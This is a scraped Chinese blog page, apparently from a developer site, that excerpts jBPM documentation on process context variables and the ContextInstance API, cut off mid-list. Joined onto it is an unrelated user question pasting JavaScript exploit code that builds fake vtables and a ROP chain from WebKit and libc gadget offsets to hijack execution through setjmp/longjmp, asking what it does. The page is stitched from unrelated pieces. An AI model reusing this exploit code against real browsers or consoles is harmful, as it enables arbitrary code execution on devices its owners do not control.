第10章. 上下文(Context)

第10章. Context

上下文是同流程变量相关的。流程变量是维护同流程实例相关的键-值对的信息. 由于上下文必须被存储在数据库中, 将会稍微约束使用。

10.1. 访问变量

org.jbpm.context.exe.ContextInstance作为提供流程变量服务的中央接口。你可以从ProcessInstance 获得ContextInstance :

ProcessInstance processInstance = ...;
ContextInstance contextInstance = (ContextInstance) processInstance.getInstance(ContextInstance.class);

最基本操作是

void ContextInstance.setVariable(String variableName, Object value);
void ContextInstance.setVariable(String variableName, Object value, Token token);
Object ContextInstance.getVariable(String variableName);
Object ContextInstance.getVariable(String variableName, Token token);

变量名是 java.lang.String. 默认情况下, jBPM支持下列值类型:

 

  • java.lang.String
  • java.lang.Boolean
  • java.lang.Character
  • java.lang.Float
  • java.lang.Double
  • java.lang.Long
  • java.lang.Byte
  • java.lang.Short
  • java.lang.Integer
  • java.
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
var fakeVtable_setjmp = p.malloc32(0x200); var fakeVtable_longjmp = p.malloc32(0x200); var original_context = p.malloc32(0x40); var modified_context = p.malloc32(0x40); p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] p.write8(fakeVtable_setjmp.add32(0x10), original_context); p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] p.write8(fakeVtable_longjmp.add32(0x10), modified_context); p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] function launch_chain(chain) { chain.push(window.gadgets["pop rdi"]); chain.push(original_context); chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); p.write8(textAreaVtPtr, fakeVtable_setjmp); textArea.scrollLeft = 0x0; p.write8(modified_context.add32(0x00), window.gadgets["ret"]); p.write8(modified_context.add32(0x10), chain.stack); p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) p.write8(textAreaVtPtr, fakeVtable_longjmp); textArea.scrollLeft = 0x0; p.write8(textAreaVtPtr, textAreaVtable); }请解释以上代码?
最新发布
07-15

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值